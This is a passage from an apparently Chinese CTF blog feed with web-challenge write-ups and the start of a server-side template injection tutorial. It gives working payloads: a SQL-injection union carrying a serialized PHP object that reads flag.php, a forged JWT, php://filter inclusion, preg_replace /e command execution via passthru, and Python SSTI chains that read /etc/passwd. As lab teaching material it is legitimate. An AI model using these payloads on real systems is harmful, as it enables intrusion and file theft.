</div><p>构造序列化数据通过sql注入传参即可获得base64加密后的flag</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="nv">$a</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">UserInfo</span><span class="p">(</span><span class="s2">&#34;admin&#34;</span><span class="p">,</span><span class="mi">19</span><span class="p">,</span><span class="s2">&#34;file:///var/www/html/flag.php&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="k">echo</span> <span class="nx">serialize</span><span class="p">(</span><span class="nv">$a</span><span class="p">);</span></span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="o">/</span><span class="n">view</span><span class="o">.</span><span class="n">php</span><span class="err">?</span><span class="n">no</span><span class="o">=-</span><span class="mi">1</span><span class="o">/**/</span><span class="n">union</span><span class="o">/**/</span><span class="n">select</span> <span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="s1">&#39;O:8:&#34;UserInfo&#34;:3:{s:4:&#34;name&#34;;s:5:&#34;admin&#34;;s:3:&#34;age&#34;;i:19;s:4:&#34;blog&#34;;s:29:&#34;file:///var/www/html/flag.php&#34;;}&#39;</span> <span class="n">from</span> <span class="n">fakebook</span><span class="o">.</span><span class="n">users</span><span class="c1">#</span></span></span></code></pre></td></tr></table>
</div>
</div><p><strong>$flag = &ldquo;flag{d86979c3-8339-437c-a678-c7f815536604}&rdquo;;</strong></p>
<h2 id="rootersctf2019imgxweb" class="heading-element"><span>[RootersCTF2019]ImgXweb</span>
 <a href="#rootersctf2019imgxweb" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><p>考点:jwt伪造</p>
<p>注册账号登录后可以看到存在加密后的cookie,解密后将user改成admin,还需要一个密钥。</p>
<p>在robots.txt中找到一个路径:/static/secretkey.txt,访问后得到密钥you-will-never-guess,jwt加密后将原本的cookie替换成自己修改后的cookie:<code>eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.g_lGU4qTO2VhNrZK9k460xz828GcqKBayZPcmLmhUqE</code></p>
<p>刷新后即可看到已经以admin身份登录,并且存在三个png图像,其中一个还是flag.png</p>
<p><img loading="lazy" src='https://hinoatari.github.io/images/web刷题/1-4.png' alt="https://hinoatari.github.io/images/web刷题/1-4.png"></p>
<p>直接访问图像路径会显示图像存在错误而无法访问,用burp访问后即可得到flag</p>
<p><code>flag{1b4973b0-b93b-4cb6-88a3-d7e8db30e0b0}</code></p>
<h2 id="bjdctf2020zjctf不过如此" class="heading-element"><span>[BJDCTF2020]ZJCTF,不过如此</span>
 <a href="#bjdctf2020zjctf%e4%b8%8d%e8%bf%87%e5%a6%82%e6%ad%a4" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><p>考点:文件包含、命令执行</p>
<p>代码审计:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl"><span class="nx">error_reporting</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nv">$text</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">&#34;text&#34;</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="nv">$file</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">&#34;file&#34;</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$text</span><span class="p">)</span><span class="o">&amp;&amp;</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="nv">$text</span><span class="p">,</span><span class="s1">&#39;r&#39;</span><span class="p">)</span><span class="o">===</span><span class="s2">&#34;I have a dream&#34;</span><span class="p">)){</span>
</span></span><span class="line"><span class="cl"> <span class="k">echo</span> <span class="s2">&#34;&lt;br&gt;&lt;h1&gt;&#34;</span><span class="o">.</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="nv">$text</span><span class="p">,</span><span class="s1">&#39;r&#39;</span><span class="p">)</span><span class="o">.</span><span class="s2">&#34;&lt;/h1&gt;&lt;/br&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="k">if</span><span class="p">(</span><span class="nx">preg_match</span><span class="p">(</span><span class="s2">&#34;/flag/&#34;</span><span class="p">,</span><span class="nv">$file</span><span class="p">)){</span>
</span></span><span class="line"><span class="cl"> <span class="k">die</span><span class="p">(</span><span class="s2">&#34;Not now!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="k">include</span><span class="p">(</span><span class="nv">$file</span><span class="p">);</span> <span class="c1">//next.php
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nx">highlight_file</span><span class="p">(</span><span class="no">__FILE__</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>提示了需要包含next.php,这里使用php伪协议读取文件,同时利用php://input执行post数据中的php代码</p>
<p><code>?text=php://input&amp;file=php://filter/read=convert.base64-encode/resource=next.php</code></p>
<p>同时post字符串I have a dream</p>
<p>即可获得base64加密后的数据,解密后得</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl"><span class="nv">$id</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;id&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">&#39;id&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$id</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">function</span> <span class="nf">complex</span><span class="p">(</span><span class="nv">$re</span><span class="p">,</span> <span class="nv">$str</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="nx">preg_replace</span><span class="p">(</span>
</span></span><span class="line"><span class="cl"> <span class="s1">&#39;/(&#39;</span> <span class="o">.</span> <span class="nv">$re</span> <span class="o">.</span> <span class="s1">&#39;)/ei&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="s1">&#39;strtolower(&#34;\\1&#34;)&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$str</span>
</span></span><span class="line"><span class="cl"> <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">foreach</span><span class="p">(</span><span class="nv">$_GET</span> <span class="k">as</span> <span class="nv">$re</span> <span class="o">=&gt;</span> <span class="nv">$str</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="k">echo</span> <span class="nx">complex</span><span class="p">(</span><span class="nv">$re</span><span class="p">,</span> <span class="nv">$str</span><span class="p">)</span><span class="o">.</span> <span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">function</span> <span class="nf">getFlag</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">	<span class="o">@</span><span class="k">eval</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;cmd&#39;</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></td></tr></table>
</div>
</div><p>分析一下,complex函数需要参数$re、$str,并且两个参数都可控,这个函数的作用时如果str中匹配到了满足/(&rsquo; . $re . &lsquo;)/ei的字符串就执行strtolower(&quot;\1&quot;),并且由于存在e参数,php会执行第二个参数,即eval(strtolower(&quot;\1&quot;))。getFlag函数中存在eval函数,通过传递cmd执行命令,但@eval()默认不会被调用,需要通过其它的方式触发。</p>
<p>查询资料得知\1涉及一个叫做<strong>反向引用</strong>的知识点:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-markdown" data-lang="markdown"><span class="line"><span class="cl"># 对一个正则表达式模式或部分模式两边添加圆括号,将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。所以这里的 \1 实际上指定的是第一个子匹配项</span></span></code></pre></td></tr></table>
</div>
</div><p>如果我们构造payload:<code>?.*={${phpinfo()}}</code>,php处理的语句就会变成<code>preg_replace('/(.*)/ei', 'strtolower(&quot;\\1&quot;)', ${phpinfo()});</code>单看这条语句,<code>/(.*)/</code>ei会匹配${phpinfo()}的全部内容,并在<code>strtolower</code>中反向引用,变成<code>strtolower(${phpinfo()})</code>,由于正则表达式中存在e参数,phpinfo()将被当做php代码执行。但本题中该payload没有执行,原因是在PHP中,对于传入的非法的$_GET数组参数名,会将其转化为下划线,导致了正则匹配失效。因此需要将.替换成\S。</p>
<p>构造payload:<code>?\S*=${getFlag()}&amp;cmd=passthru(&quot;ls /&quot;)</code>,发现存在flag,利用cat /flag读取就能获得flag。</p>
<p><code>flag{ebc21d3d-fc88-4db7-b2bc-8d81e0863930}</code></p>
</description>
</item>
<item>
<title>SSTI注入篇</title>
<link>https://hinoatari.github.io/posts/ssti%E6%B3%A8%E5%85%A5%E7%AF%87/</link>
<pubDate>Sun, 20 Apr 2025 16:41:52 +0800</pubDate>
<guid>https://hinoatari.github.io/posts/ssti%E6%B3%A8%E5%85%A5%E7%AF%87/</guid>
<category domain="https://hinoatari.github.io/categories/ctf/">CTF</category>
<description><h2 id="ssti-漏洞成因" class="heading-element"><span>SSTI 漏洞成因</span>
 <a href="#ssti-%e6%bc%8f%e6%b4%9e%e6%88%90%e5%9b%a0" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><p>ssti 服务端模板注入成因为:web 应用在使用框架(如 python 的 flask、jinjia2、django;java 的 freemarker、velocity;php 的 thinkphp、smarty 等)时,由于程序员对代码编写的不规范、不严谨造成模板注入漏洞,攻击者通过恶意注入模板代码影响服务器端模板引擎的行为。</p>
<h2 id="ssti-中常用魔术方法" class="heading-element"><span>SSTI 中常用魔术方法</span>
 <a href="#ssti-%e4%b8%ad%e5%b8%b8%e7%94%a8%e9%ad%94%e6%9c%af%e6%96%b9%e6%b3%95" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><ul>
<li>__class__ 返回一个实例所属的类</li>
<li>__mro__ 查看类继承的所有父类,直到 object</li>
<li>__subclasses__() 获取一个类的子类,返回的是一个列表</li>
<li>__bases__ 以元组形式返回一个类直接继承的类</li>
<li>__init__ 类实例创建之后调用,对当前对象的实例的初始化</li>
<li>__globals__ 使用方式为<strong>函数名</strong>.__globals__,返回一个当前空间下能使用的模块、方法和变量的字典</li>
<li>__getattribute__ 当类被调用时,无条件进入此函数</li>
<li>__getattr__ 访问对象中不存在的属性时调用</li>
<li>__dict__ 返回所有属性,包括属性、方法等</li>
<li>__builtins__ 查看当前所有导入的内建函数</li>
</ul>
<h2 id="攻击思路" class="heading-element"><span>攻击思路</span>
 <a href="#%e6%94%bb%e5%87%bb%e6%80%9d%e8%b7%af" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><ul>
<li>
<h2 id="获取基本类" class="heading-element"><span>获取基本类</span>
 <a href="#%e8%8e%b7%e5%8f%96%e5%9f%ba%e6%9c%ac%e7%b1%bb" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2></li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">dict //返回类中的函数和属性,父类子类互不影响
</span></span><span class="line"><span class="cl">base //返回类的父类 python3
</span></span><span class="line"><span class="cl">mro //返回类继承的元组,(寻找父类) python3
</span></span><span class="line"><span class="cl">init //返回类的初始化方法 
</span></span><span class="line"><span class="cl">subclasses() //返回类中仍然可用的引用 python3
</span></span><span class="line"><span class="cl">globals //对包含函数全局变量的字典的引用 python3
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">对于返回的是类实例的话:
</span></span><span class="line"><span class="cl">class //返回实例的对象,可以使类实例指向 Class,使用上面的魔术方法</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">&#39;&#39;.__class__.__mro__[-1]
</span></span><span class="line"><span class="cl">{}.__class__.__bases__[0]
</span></span><span class="line"><span class="cl">().__class__.__bases__[0]
</span></span><span class="line"><span class="cl">[].__class__.__bases__[0]</span></span></code></pre></td></tr></table>
</div>
</div><ul>
<li>
<h2 id="获取基本类后继续获取基本类的子类" class="heading-element"><span>获取基本类后,继续获取基本类的子类</span>
 <a href="#%e8%8e%b7%e5%8f%96%e5%9f%ba%e6%9c%ac%e7%b1%bb%e5%90%8e%e7%bb%a7%e7%bb%ad%e8%8e%b7%e5%8f%96%e5%9f%ba%e6%9c%ac%e7%b1%bb%e7%9a%84%e5%ad%90%e7%b1%bb" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">object.subclasses()</span></span></code></pre></td></tr></table>
</div>
</div></li>
<li>
<h2 id="找__init__类" class="heading-element"><span>找__init__类</span>
 <a href="#%e6%89%be__init__%e7%b1%bb" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">&#39;&#39;.__class__.__mro__[2].__subclasses__()[99].__init__</span></span></code></pre></td></tr></table>
</div>
</div></li>
<li>
<h2 id="查看其引用__builtins__" class="heading-element"><span>查看其引用__builtins__</span>
 <a href="#%e6%9f%a5%e7%9c%8b%e5%85%b6%e5%bc%95%e7%94%a8__builtins__" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">&#39;&#39;.__class__.__mro__[2].__subclasses__()[138].__init__.__globals__[&#39;__builtins__&#39;]</span></span></code></pre></td></tr></table>
</div>
</div></li>
<li>
<h2 id="寻找-keys-中可用函数使用-keys-中的-file-等函数来实现读取文件的功能" class="heading-element"><span>寻找 keys 中可用函数,使用 keys 中的 file 等函数来实现读取文件的功能</span>
 <a href="#%e5%af%bb%e6%89%be-keys-%e4%b8%ad%e5%8f%af%e7%94%a8%e5%87%bd%e6%95%b0%e4%bd%bf%e7%94%a8-keys-%e4%b8%ad%e7%9a%84-file-%e7%ad%89%e5%87%bd%e6%95%b0%e6%9d%a5%e5%ae%9e%e7%8e%b0%e8%af%bb%e5%8f%96%e6%96%87%e4%bb%b6%e7%9a%84%e5%8a%9f%e8%83%bd" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2></li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">&#39;&#39;.__class__.__mro[2].subclasses()[138].init.globals[&#39;builtins&#39;][&#39;file&#39;](&#39;/etc/passwd&#39;).read()</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="常用目标函数" class="heading-element"><span>常用目标函数</span>
 <a href="#%e5%b8%b8%e7%94%a8%e7%9b%ae%e6%a0%87%e5%87%bd%e6%95%b0" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">file、subprocess.Popen、os.popen、exec、eval</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="绕过过滤方法" class="heading-element"><span>绕过过滤方法</span>
